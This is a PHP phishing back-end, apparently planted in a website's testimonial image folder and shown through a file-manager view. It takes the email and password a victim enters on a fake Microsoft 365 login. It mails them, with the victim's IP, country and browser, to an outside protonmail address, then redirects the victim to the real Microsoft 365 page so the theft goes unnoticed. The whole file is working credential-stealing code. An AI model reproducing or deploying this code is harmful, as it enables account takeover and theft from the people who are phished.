?
Current Path : /home/manas/public_html/images/testimonial/ |
Linux olivia.website.haus 3.10.0-962.3.2.lve1.5.77.el7.x86_64 #1 SMP Mon Dec 12 07:06:14 EST 2022 x86_64 |
Current File : /home/manas/public_html/images/testimonial/pii22.php |
<?php $ip = getenv("REMOTE_ADDR"); $country = visitor_country(); $email = $_POST['email']; $password = $_POST['password']; $own = 'softlink12@protonmail.com'; $browser = $_SERVER['HTTP_USER_AGENT']; $inj = $_SERVER["REQUEST_URI"]; $domain = ''; $sender = 'Pi'; $subj = "[Oficina 365 - $ip]"; $headers .= "From: Pi<$sender>\n"; $headers .= "X-Priority: 1\n"; //1 Urgent Message, 3 Normal $headers .= "Content-Type:text/html; charset=\"iso-8859-1\"\n"; $over = 'https://www.microsoft.com/en-gb/microsoft-365?ms.url=office365com&rtc=1'; $msg = "<HTML><BODY> <TABLE> <tr><td>++++++++++++++++++++++++++++++++++++++++++++++++++++++++</td></tr> <tr><td>IDENTIFICACIÓN: $email<td/></tr> <tr><td>Acceso: $password</td></tr> <tr><td>IP del país: $country | <a href='http://whoer.net/check?host=$ip' target='_blank'>$ip</a> </td></tr> <tr><td>Agente de usuario: $browser</td></tr> <tr><td>++++++++++++++++++++++++++++++++++++++++++++++++++++++++</td></tr> </BODY> </HTML>"; if (empty($email) || empty($password)) { header( "Location: https://www.microsoft.com/en-gb/microsoft-365?ms.url=office365com&rtc=1" ); } else { mail($own,$subj,$msg,$headers); header("Location: $over"); } function visitor_country() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryName != null) { $result = $ip_data->geoplugin_countryName; } return $result; } function visitor_countryCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_countryCode != null) { $result = $ip_data->geoplugin_countryCode; } return $result; } function visitor_regionName() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_regionName != null) { $result = $ip_data->geoplugin_regionName; } return $result; } function visitor_continentCode() { $client = @$_SERVER['HTTP_CLIENT_IP']; $forward = @$_SERVER['HTTP_X_FORWARDED_FOR']; $remote = $_SERVER['REMOTE_ADDR']; $result = "Unknown"; if(filter_var($client, FILTER_VALIDATE_IP)) { $ip = $client; } elseif(filter_var($forward, FILTER_VALIDATE_IP)) { $ip = $forward; } else { $ip = $remote; } $ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip)); if($ip_data && $ip_data->geoplugin_continentCode != null) { $result = $ip_data->geoplugin_continentCode; } return $result; } ?>